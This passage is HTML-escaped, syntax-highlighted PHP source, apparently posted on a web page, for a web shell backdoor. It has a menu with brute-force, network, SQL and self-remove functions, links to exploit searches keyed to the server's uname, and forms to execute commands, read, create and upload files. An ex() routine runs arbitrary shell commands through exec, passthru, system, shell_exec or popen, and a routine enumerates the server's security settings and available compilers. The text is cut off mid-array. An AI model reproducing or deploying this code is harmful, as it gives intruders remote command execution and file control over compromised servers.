#006080&quot;&gt;&#39;Sql&#39;&lt;/span&gt;=&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;Sql&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;Php&#39;&lt;/span&gt;=&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;Php&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;Safe mode&#39;&lt;/span&gt;=&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;SafeMode&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;String tools&#39;&lt;/span&gt;=&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;StringTools&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;Bruteforce&#39;&lt;/span&gt;=&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;Bruteforce&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;Network&#39;&lt;/span&gt;=&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;Network&#39;&lt;/span&gt;);    &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(!&lt;span style=&quot;color: #0000ff&quot;&gt;empty&lt;/span&gt;($GLOBALS[&lt;span style=&quot;color: #006080&quot;&gt;&#39;auth_pass&#39;&lt;/span&gt;]))    $m[&lt;span style=&quot;color: #006080&quot;&gt;&#39;Logout&#39;&lt;/span&gt;] = &lt;span style=&quot;color: #006080&quot;&gt;&#39;Logout&#39;&lt;/span&gt;;    $m[&lt;span style=&quot;color: #006080&quot;&gt;&#39;Self remove&#39;&lt;/span&gt;] = &lt;span style=&quot;color: #006080&quot;&gt;&#39;SelfRemove&#39;&lt;/span&gt;;    $menu = &lt;span style=&quot;color: #006080&quot;&gt;&#39;&#39;&lt;/span&gt;;    &lt;span style=&quot;color: #0000ff&quot;&gt;foreach&lt;/span&gt;($m &lt;span style=&quot;color: #0000ff&quot;&gt;as&lt;/span&gt; $k =&amp;gt; $v)        $menu .= &lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;th width=&quot;&#39;&lt;/span&gt;.(&lt;span style=&quot;color: #0000ff&quot;&gt;int&lt;/span&gt;)(100/count($m)).&lt;span style=&quot;color: #006080&quot;&gt;&#39;%&quot;&amp;gt;[ &amp;lt;a href=&quot;#&quot; onclick=&quot;g(\&#39;&#39;&lt;/span&gt;.$v.&lt;span style=&quot;color: #006080&quot;&gt;&#39;\&#39;,null,\&#39;\&#39;,\&#39;\&#39;,\&#39;\&#39;)&quot;&amp;gt;&#39;&lt;/span&gt;.$k.&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;/a&amp;gt; ]&amp;lt;/th&amp;gt;&#39;&lt;/span&gt;;    $drives = &lt;span style=&quot;color: #006080&quot;&gt;&quot;&quot;&lt;/span&gt;;    &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($GLOBALS[&lt;span style=&quot;color: #006080&quot;&gt;&#39;os&#39;&lt;/span&gt;] == &lt;span style=&quot;color: #006080&quot;&gt;&#39;win&#39;&lt;/span&gt;) {        &lt;span style=&quot;color: #0000ff&quot;&gt;foreach&lt;/span&gt;( range(&lt;span style=&quot;color: #006080&quot;&gt;&#39;a&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;z&#39;&lt;/span&gt;) &lt;span style=&quot;color: #0000ff&quot;&gt;as&lt;/span&gt; $drive )        &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (is_dir($drive.&lt;span style=&quot;color: #006080&quot;&gt;&#39;:\\&#39;))            $drives .= &#39;&lt;/span&gt;&amp;lt;a href=&lt;span style=&quot;color: #006080&quot;&gt;&quot;#&quot;&lt;/span&gt; onclick=&lt;span style=&quot;color: #006080&quot;&gt;&quot;g(\&#39;FilesMan\&#39;,\&#39;&#39;.$drive.&#39;:/\&#39;)&quot;&lt;/span&gt;&amp;gt;[ &lt;span style=&quot;color: #006080&quot;&gt;&#39;.$drive.&#39;&lt;/span&gt; ]&amp;lt;/a&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;;    }    echo &#39;&lt;/span&gt;&amp;lt;table &lt;span style=&quot;color: #0000ff&quot;&gt;class&lt;/span&gt;=info cellpadding=3 cellspacing=0 width=100%&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=1&amp;gt;&amp;lt;span&amp;gt;Uname:&amp;lt;br&amp;gt;User:&amp;lt;br&amp;gt;Php:&amp;lt;br&amp;gt;Hdd:&amp;lt;br&amp;gt;Cwd:&lt;span style=&quot;color: #006080&quot;&gt;&#39;.($GLOBALS[&#39;&lt;/span&gt;os&lt;span style=&quot;color: #006080&quot;&gt;&#39;] == &#39;&lt;/span&gt;win&lt;span style=&quot;color: #006080&quot;&gt;&#39;?&#39;&lt;/span&gt;&amp;lt;br&amp;gt;Drives:&lt;span style=&quot;color: #006080&quot;&gt;&#39;:&#39;&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;).&#39;&lt;/span&gt;&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.         &#39;&lt;/span&gt;&amp;lt;td&amp;gt;&amp;lt;nobr&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.substr(@php_uname(), 0, 120).&#39;&lt;/span&gt;  &amp;lt;a href=&lt;span style=&quot;color: #006080&quot;&gt;&quot;http://www.google.com/search?q=&#39;.urlencode(@php_uname()).&#39;&quot;&lt;/span&gt; target=&lt;span style=&quot;color: #006080&quot;&gt;&quot;_blank&quot;&lt;/span&gt;&amp;gt;[Google]&amp;lt;/a&amp;gt; &amp;lt;a href=&lt;span style=&quot;color: #006080&quot;&gt;&quot;&#39;.$millink.&#39;&quot;&lt;/span&gt; target=_blank&amp;gt;[milw0rm]&amp;lt;/a&amp;gt;&amp;lt;/nobr&amp;gt;&amp;lt;br&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.$uid.&#39;&lt;/span&gt; ( &lt;span style=&quot;color: #006080&quot;&gt;&#39;.$user.&#39;&lt;/span&gt; ) &amp;lt;span&amp;gt;Group:&amp;lt;/span&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;.$gid.&#39;&lt;/span&gt; ( &lt;span style=&quot;color: #006080&quot;&gt;&#39;.$group.&#39;&lt;/span&gt; )&amp;lt;br&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.@phpversion().&#39;&lt;/span&gt; &amp;lt;span&amp;gt;Safe mode:&amp;lt;/span&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;.($GLOBALS[&#39;&lt;/span&gt;safe_mode&lt;span style=&quot;color: #006080&quot;&gt;&#39;]?&#39;&lt;/span&gt;&amp;lt;font color=red&amp;gt;ON&amp;lt;/font&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;:&#39;&lt;/span&gt;&amp;lt;font color=#00bb00&amp;gt;&amp;lt;b&amp;gt;OFF&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;).&#39;&lt;/span&gt; &amp;lt;a href=# onclick=&lt;span style=&quot;color: #006080&quot;&gt;&quot;g(\&#39;Php\&#39;,null,null,\&#39;info\&#39;)&quot;&lt;/span&gt;&amp;gt;[ phpinfo ]&amp;lt;/a&amp;gt; &amp;lt;span&amp;gt;Datetime:&amp;lt;/span&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;.date(&#39;&lt;/span&gt;Y-m-d H:i:s&lt;span style=&quot;color: #006080&quot;&gt;&#39;).&#39;&lt;/span&gt;&amp;lt;br&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.viewSize($totalSpace).&#39;&lt;/span&gt; &amp;lt;span&amp;gt;Free:&amp;lt;/span&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;.viewSize($freeSpace).&#39;&lt;/span&gt; (&lt;span style=&quot;color: #006080&quot;&gt;&#39;.(int)($freeSpace/$totalSpace*100).&#39;&lt;/span&gt;%)&amp;lt;br&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.$cwd_links.&#39;&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;.viewPermsColor($GLOBALS[&#39;&lt;/span&gt;cwd&lt;span style=&quot;color: #006080&quot;&gt;&#39;]).&#39;&lt;/span&gt; &amp;lt;a href=# onclick=&lt;span style=&quot;color: #006080&quot;&gt;&quot;g(\&#39;FilesMan\&#39;,\&#39;&#39;.$GLOBALS[&#39;home_cwd&#39;].&#39;\&#39;,\&#39;\&#39;,\&#39;\&#39;,\&#39;\&#39;)&quot;&lt;/span&gt;&amp;gt;[ home ]&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.$drives.&#39;&lt;/span&gt;&amp;lt;/td&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.         &#39;&lt;/span&gt;&amp;lt;td width=1 align=right&amp;gt;&amp;lt;nobr&amp;gt;&amp;lt;select onchange=&lt;span style=&quot;color: #006080&quot;&gt;&quot;g(null,null,null,null,null,this.value)&quot;&lt;/span&gt;&amp;gt;&amp;lt;optgroup label=&lt;span style=&quot;color: #006080&quot;&gt;&quot;Page charset&quot;&lt;/span&gt;&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.$opt_charsets.&#39;&lt;/span&gt;&amp;lt;/optgroup&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;br&amp;gt;&amp;lt;span&amp;gt;Server IP:&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.gethostbyname($_SERVER[&quot;HTTP_HOST&quot;]).&#39;&lt;/span&gt;&amp;lt;br&amp;gt;&amp;lt;span&amp;gt;Client IP:&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.$_SERVER[&#39;&lt;/span&gt;REMOTE_ADDR&lt;span style=&quot;color: #006080&quot;&gt;&#39;].&#39;&lt;/span&gt;&amp;lt;/nobr&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.         &#39;&lt;/span&gt;&amp;lt;table style=&lt;span style=&quot;color: #006080&quot;&gt;&quot;border-top:2px solid #333;&quot;&lt;/span&gt; cellpadding=3 cellspacing=0 width=100%&amp;gt;&amp;lt;tr&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.$menu.&#39;&lt;/span&gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;div style=&lt;span style=&quot;color: #006080&quot;&gt;&quot;margin:5&quot;&lt;/span&gt;&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;;}function printFooter() {    $is_writable = is_writable($GLOBALS[&#39;&lt;/span&gt;cwd&lt;span style=&quot;color: #006080&quot;&gt;&#39;])?&quot;&amp;lt;font color=green&amp;gt;[ Writeable ]&amp;lt;/font&amp;gt;&quot;:&quot;&amp;lt;font color=red&amp;gt;[ Not writable ]&amp;lt;/font&amp;gt;&quot;;?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style=&quot;border-top:2px solid #333;border-bottom:2px solid #333;&quot;&amp;gt;    &amp;lt;tr&amp;gt;        &amp;lt;td&amp;gt;&amp;lt;form onSubmit=&quot;g(null,this.c.value);return false;&quot;&amp;gt;&amp;lt;span&amp;gt;Change dir:&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input class=&quot;toolsInp&quot; type=text name=c value=&quot;&amp;lt;?=htmlspecialchars($GLOBALS[&#39;&lt;/span&gt;cwd&lt;span style=&quot;color: #006080&quot;&gt;&#39;]);?&amp;gt;&quot;&amp;gt;&amp;lt;input type=submit value=&quot;&amp;gt;&amp;gt;&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;        &amp;lt;td&amp;gt;&amp;lt;form onSubmit=&quot;g(&#39;&lt;/span&gt;FilesTools&lt;span style=&quot;color: #006080&quot;&gt;&#39;,null,this.f.value);return false;&quot;&amp;gt;&amp;lt;span&amp;gt;Read file:&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input class=&quot;toolsInp&quot; type=text name=f&amp;gt;&amp;lt;input type=submit value=&quot;&amp;gt;&amp;gt;&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;    &amp;lt;/tr&amp;gt;    &amp;lt;tr&amp;gt;        &amp;lt;td&amp;gt;&amp;lt;form onSubmit=&quot;g(&#39;&lt;/span&gt;FilesMan&lt;span style=&quot;color: #006080&quot;&gt;&#39;,null,&#39;&lt;/span&gt;mkdir&lt;span style=&quot;color: #006080&quot;&gt;&#39;,this.d.value);return false;&quot;&amp;gt;&amp;lt;span&amp;gt;Make dir:&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input class=&quot;toolsInp&quot; type=text name=d&amp;gt;&amp;lt;input type=submit value=&quot;&amp;gt;&amp;gt;&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;?=$is_writable?&amp;gt;&amp;lt;/td&amp;gt;        &amp;lt;td&amp;gt;&amp;lt;form onSubmit=&quot;g(&#39;&lt;/span&gt;FilesTools&lt;span style=&quot;color: #006080&quot;&gt;&#39;,null,this.f.value,&#39;&lt;/span&gt;mkfile&lt;span style=&quot;color: #006080&quot;&gt;&#39;);return false;&quot;&amp;gt;&amp;lt;span&amp;gt;Make file:&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input class=&quot;toolsInp&quot; type=text name=f&amp;gt;&amp;lt;input type=submit value=&quot;&amp;gt;&amp;gt;&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;?=$is_writable?&amp;gt;&amp;lt;/td&amp;gt;    &amp;lt;/tr&amp;gt;    &amp;lt;tr&amp;gt;        &amp;lt;td&amp;gt;&amp;lt;form onSubmit=&quot;g(&#39;&lt;/span&gt;Console&lt;span style=&quot;color: #006080&quot;&gt;&#39;,null,this.c.value);return false;&quot;&amp;gt;&amp;lt;span&amp;gt;Execute:&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input class=&quot;toolsInp&quot; type=text name=c value=&quot;&quot;&amp;gt;&amp;lt;input type=submit value=&quot;&amp;gt;&amp;gt;&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;        &amp;lt;td&amp;gt;&amp;lt;form method=&#39;&lt;/span&gt;post&lt;span style=&quot;color: #006080&quot;&gt;&#39; ENCTYPE=&#39;&lt;/span&gt;multipart/form-data&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;gt;        &amp;lt;input type=hidden name=a value=&#39;&lt;/span&gt;FilesMAn&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;gt;        &amp;lt;input type=hidden name=c value=&#39;&lt;/span&gt;&amp;lt;?=htmlspecialchars($GLOBALS[&lt;span style=&quot;color: #006080&quot;&gt;&#39;cwd&#39;&lt;/span&gt;])?&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;gt;        &amp;lt;input type=hidden name=p1 value=&#39;&lt;/span&gt;uploadFile&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;gt;        &amp;lt;input type=hidden name=charset value=&#39;&lt;/span&gt;&amp;lt;?=&lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;charset&#39;&lt;/span&gt;])?$_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;charset&#39;&lt;/span&gt;]:&lt;span style=&quot;color: #006080&quot;&gt;&#39;&#39;&lt;/span&gt;?&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;gt;        &amp;lt;span&amp;gt;Upload file:&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input class=&quot;toolsInp&quot; type=file name=f&amp;gt;&amp;lt;input type=submit value=&quot;&amp;gt;&amp;gt;&quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;?=$is_writable?&amp;gt;&amp;lt;/td&amp;gt;    &amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;lt;?php}if ( !function_exists(&quot;posix_getpwuid&quot;) &amp;amp;&amp;amp; (strpos($GLOBALS[&#39;&lt;/span&gt;disable_functions&lt;span style=&quot;color: #006080&quot;&gt;&#39;], &#39;&lt;/span&gt;posix_getpwuid&lt;span style=&quot;color: #006080&quot;&gt;&#39;)===false) ) { function posix_getpwuid($p) { return false; } }if ( !function_exists(&quot;posix_getgrgid&quot;) &amp;amp;&amp;amp; (strpos($GLOBALS[&#39;&lt;/span&gt;disable_functions&lt;span style=&quot;color: #006080&quot;&gt;&#39;], &#39;&lt;/span&gt;posix_getgrgid&lt;span style=&quot;color: #006080&quot;&gt;&#39;)===false) ) { function posix_getgrgid($p) { return false; } }function ex($in) {    $out = &#39;&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    if(function_exists(&#39;&lt;/span&gt;exec&lt;span style=&quot;color: #006080&quot;&gt;&#39;)) {        @exec($in,$out);        $out = @join(&quot;\n&quot;,$out);    }elseif(function_exists(&#39;&lt;/span&gt;passthru&lt;span style=&quot;color: #006080&quot;&gt;&#39;)) {        ob_start();        @passthru($in);        $out = ob_get_clean();    }elseif(function_exists(&#39;&lt;/span&gt;system&lt;span style=&quot;color: #006080&quot;&gt;&#39;)) {        ob_start();        @system($in);        $out = ob_get_clean();    }elseif(function_exists(&#39;&lt;/span&gt;shell_exec&lt;span style=&quot;color: #006080&quot;&gt;&#39;)) {        $out = shell_exec($in);    }elseif(is_resource($f = @popen($in,&quot;r&quot;))) {        $out = &quot;&quot;;        while(!@feof($f))            $out .= fread($f,1024);        pclose($f);    }    return $out;}function viewSize($s) {    if($s &amp;gt;= 1073741824)        return sprintf(&#39;&lt;/span&gt;%1.2f&lt;span style=&quot;color: #006080&quot;&gt;&#39;, $s / 1073741824 ). &#39;&lt;/span&gt; GB&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    elseif($s &amp;gt;= 1048576)        return sprintf(&#39;&lt;/span&gt;%1.2f&lt;span style=&quot;color: #006080&quot;&gt;&#39;, $s / 1048576 ) . &#39;&lt;/span&gt; MB&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    elseif($s &amp;gt;= 1024)        return sprintf(&#39;&lt;/span&gt;%1.2f&lt;span style=&quot;color: #006080&quot;&gt;&#39;, $s / 1024 ) . &#39;&lt;/span&gt; KB&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    else        return $s . &#39;&lt;/span&gt; B&lt;span style=&quot;color: #006080&quot;&gt;&#39;;}function perms($p) {    if (($p &amp;amp; 0xC000) == 0xC000)$i = &#39;&lt;/span&gt;s&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    elseif (($p &amp;amp; 0xA000) == 0xA000)$i = &#39;&lt;/span&gt;l&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    elseif (($p &amp;amp; 0x8000) == 0x8000)$i = &#39;&lt;/span&gt;-&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    elseif (($p &amp;amp; 0x6000) == 0x6000)$i = &#39;&lt;/span&gt;b&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    elseif (($p &amp;amp; 0x4000) == 0x4000)$i = &#39;&lt;/span&gt;d&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    elseif (($p &amp;amp; 0x2000) == 0x2000)$i = &#39;&lt;/span&gt;c&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    elseif (($p &amp;amp; 0x1000) == 0x1000)$i = &#39;&lt;/span&gt;p&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    else $i = &#39;&lt;/span&gt;u&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    $i .= (($p &amp;amp; 0x0100) ? &#39;&lt;/span&gt;r&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;-&lt;span style=&quot;color: #006080&quot;&gt;&#39;);    $i .= (($p &amp;amp; 0x0080) ? &#39;&lt;/span&gt;w&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;-&lt;span style=&quot;color: #006080&quot;&gt;&#39;);    $i .= (($p &amp;amp; 0x0040) ? (($p &amp;amp; 0x0800) ? &#39;&lt;/span&gt;s&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;x&lt;span style=&quot;color: #006080&quot;&gt;&#39; ) : (($p &amp;amp; 0x0800) ? &#39;&lt;/span&gt;S&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;-&lt;span style=&quot;color: #006080&quot;&gt;&#39;));    $i .= (($p &amp;amp; 0x0020) ? &#39;&lt;/span&gt;r&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;-&lt;span style=&quot;color: #006080&quot;&gt;&#39;);    $i .= (($p &amp;amp; 0x0010) ? &#39;&lt;/span&gt;w&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;-&lt;span style=&quot;color: #006080&quot;&gt;&#39;);    $i .= (($p &amp;amp; 0x0008) ? (($p &amp;amp; 0x0400) ? &#39;&lt;/span&gt;s&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;x&lt;span style=&quot;color: #006080&quot;&gt;&#39; ) : (($p &amp;amp; 0x0400) ? &#39;&lt;/span&gt;S&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;-&lt;span style=&quot;color: #006080&quot;&gt;&#39;));    $i .= (($p &amp;amp; 0x0004) ? &#39;&lt;/span&gt;r&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;-&lt;span style=&quot;color: #006080&quot;&gt;&#39;);    $i .= (($p &amp;amp; 0x0002) ? &#39;&lt;/span&gt;w&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;-&lt;span style=&quot;color: #006080&quot;&gt;&#39;);    $i .= (($p &amp;amp; 0x0001) ? (($p &amp;amp; 0x0200) ? &#39;&lt;/span&gt;t&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;x&lt;span style=&quot;color: #006080&quot;&gt;&#39; ) : (($p &amp;amp; 0x0200) ? &#39;&lt;/span&gt;T&lt;span style=&quot;color: #006080&quot;&gt;&#39; : &#39;&lt;/span&gt;-&lt;span style=&quot;color: #006080&quot;&gt;&#39;));    return $i;}function viewPermsColor($f) {     if (!@is_readable($f))        return &#39;&lt;/span&gt;&amp;lt;font color=#FF0000&amp;gt;&amp;lt;b&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.perms(@fileperms($f)).&#39;&lt;/span&gt;&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    elseif (!@is_writable($f))        return &#39;&lt;/span&gt;&amp;lt;font color=white&amp;gt;&amp;lt;b&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.perms(@fileperms($f)).&#39;&lt;/span&gt;&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    else        return &#39;&lt;/span&gt;&amp;lt;font color=#00BB00&amp;gt;&amp;lt;b&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.perms(@fileperms($f)).&#39;&lt;/span&gt;&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;;}if(!function_exists(&quot;scandir&quot;)) {    function scandir($dir) {        $dh  = opendir($dir);        while (false !== ($filename = readdir($dh))) {            $files[] = $filename;        }        return $files;    }}function which($p) {    $path = ex(&#39;&lt;/span&gt;which &lt;span style=&quot;color: #006080&quot;&gt;&#39;.$p);    if(!empty($path))        return $path;    return false;}function actionSecInfo() {    printHeader();    echo &#39;&lt;/span&gt;&amp;lt;h1&amp;gt;Server security information&amp;lt;/h1&amp;gt;&amp;lt;div &lt;span style=&quot;color: #0000ff&quot;&gt;class&lt;/span&gt;=content&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;;    function showSecParam($n, $v) {        $v = trim($v);        if($v) {            echo &#39;&lt;/span&gt;&amp;lt;span&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.$n.&#39;&lt;/span&gt;: &amp;lt;/span&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;;            if(strpos($v, &quot;\n&quot;) === false)                echo $v.&#39;&lt;/span&gt;&amp;lt;br&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;;            else                echo &#39;&lt;/span&gt;&amp;lt;pre &lt;span style=&quot;color: #0000ff&quot;&gt;class&lt;/span&gt;=ml1&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;.$v.&#39;&lt;/span&gt;&amp;lt;/pre&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;;        }    }        showSecParam(&#39;&lt;/span&gt;Server software&lt;span style=&quot;color: #006080&quot;&gt;&#39;, @getenv(&#39;&lt;/span&gt;SERVER_SOFTWARE&lt;span style=&quot;color: #006080&quot;&gt;&#39;));    showSecParam(&#39;&lt;/span&gt;Disabled PHP Functions&lt;span style=&quot;color: #006080&quot;&gt;&#39;, ($GLOBALS[&#39;&lt;/span&gt;disable_functions&lt;span style=&quot;color: #006080&quot;&gt;&#39;])?$GLOBALS[&#39;&lt;/span&gt;disable_functions&lt;span style=&quot;color: #006080&quot;&gt;&#39;]:&#39;&lt;/span&gt;none&lt;span style=&quot;color: #006080&quot;&gt;&#39;);    showSecParam(&#39;&lt;/span&gt;Open base dir&lt;span style=&quot;color: #006080&quot;&gt;&#39;, @ini_get(&#39;&lt;/span&gt;open_basedir&lt;span style=&quot;color: #006080&quot;&gt;&#39;));    showSecParam(&#39;&lt;/span&gt;Safe mode exec dir&lt;span style=&quot;color: #006080&quot;&gt;&#39;, @ini_get(&#39;&lt;/span&gt;safe_mode_exec_dir&lt;span style=&quot;color: #006080&quot;&gt;&#39;));    showSecParam(&#39;&lt;/span&gt;Safe mode &lt;span style=&quot;color: #0000ff&quot;&gt;include&lt;/span&gt; dir&lt;span style=&quot;color: #006080&quot;&gt;&#39;, @ini_get(&#39;&lt;/span&gt;safe_mode_include_dir&lt;span style=&quot;color: #006080&quot;&gt;&#39;));    showSecParam(&#39;&lt;/span&gt;cURL support&lt;span style=&quot;color: #006080&quot;&gt;&#39;, function_exists(&#39;&lt;/span&gt;curl_version&lt;span style=&quot;color: #006080&quot;&gt;&#39;)?&#39;&lt;/span&gt;enabled&lt;span style=&quot;color: #006080&quot;&gt;&#39;:&#39;&lt;/span&gt;no&lt;span style=&quot;color: #006080&quot;&gt;&#39;);    $temp=array();    if(function_exists(&#39;&lt;/span&gt;mysql_get_client_info&lt;span style=&quot;color: #006080&quot;&gt;&#39;))        $temp[] = &quot;MySql (&quot;.mysql_get_client_info().&quot;)&quot;;    if(function_exists(&#39;&lt;/span&gt;mssql_connect&lt;span style=&quot;color: #006080&quot;&gt;&#39;))        $temp[] = &quot;MSSQL&quot;;    if(function_exists(&#39;&lt;/span&gt;pg_connect&lt;span style=&quot;color: #006080&quot;&gt;&#39;))        $temp[] = &quot;PostgreSQL&quot;;    if(function_exists(&#39;&lt;/span&gt;oci_connect&lt;span style=&quot;color: #006080&quot;&gt;&#39;))        $temp[] = &quot;Oracle&quot;;    showSecParam(&#39;&lt;/span&gt;Supported databases&lt;span style=&quot;color: #006080&quot;&gt;&#39;, implode(&#39;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&#39;, $temp));    echo &#39;&lt;/span&gt;&amp;lt;br&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;;        if( $GLOBALS[&#39;&lt;/span&gt;os&lt;span style=&quot;color: #006080&quot;&gt;&#39;] == &#39;&lt;/span&gt;nix&lt;span style=&quot;color: #006080&quot;&gt;&#39; ) {        $userful = array(&#39;&lt;/span&gt;gcc&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;lcc&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;cc&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;ld&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;make&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;php&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;perl&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;python&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;ruby&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;tar&lt;span style=&quot;color: #006080&quot;&gt;&#39;,&#39;&lt;/span&gt;gzip&lt;span style=&quot;color: 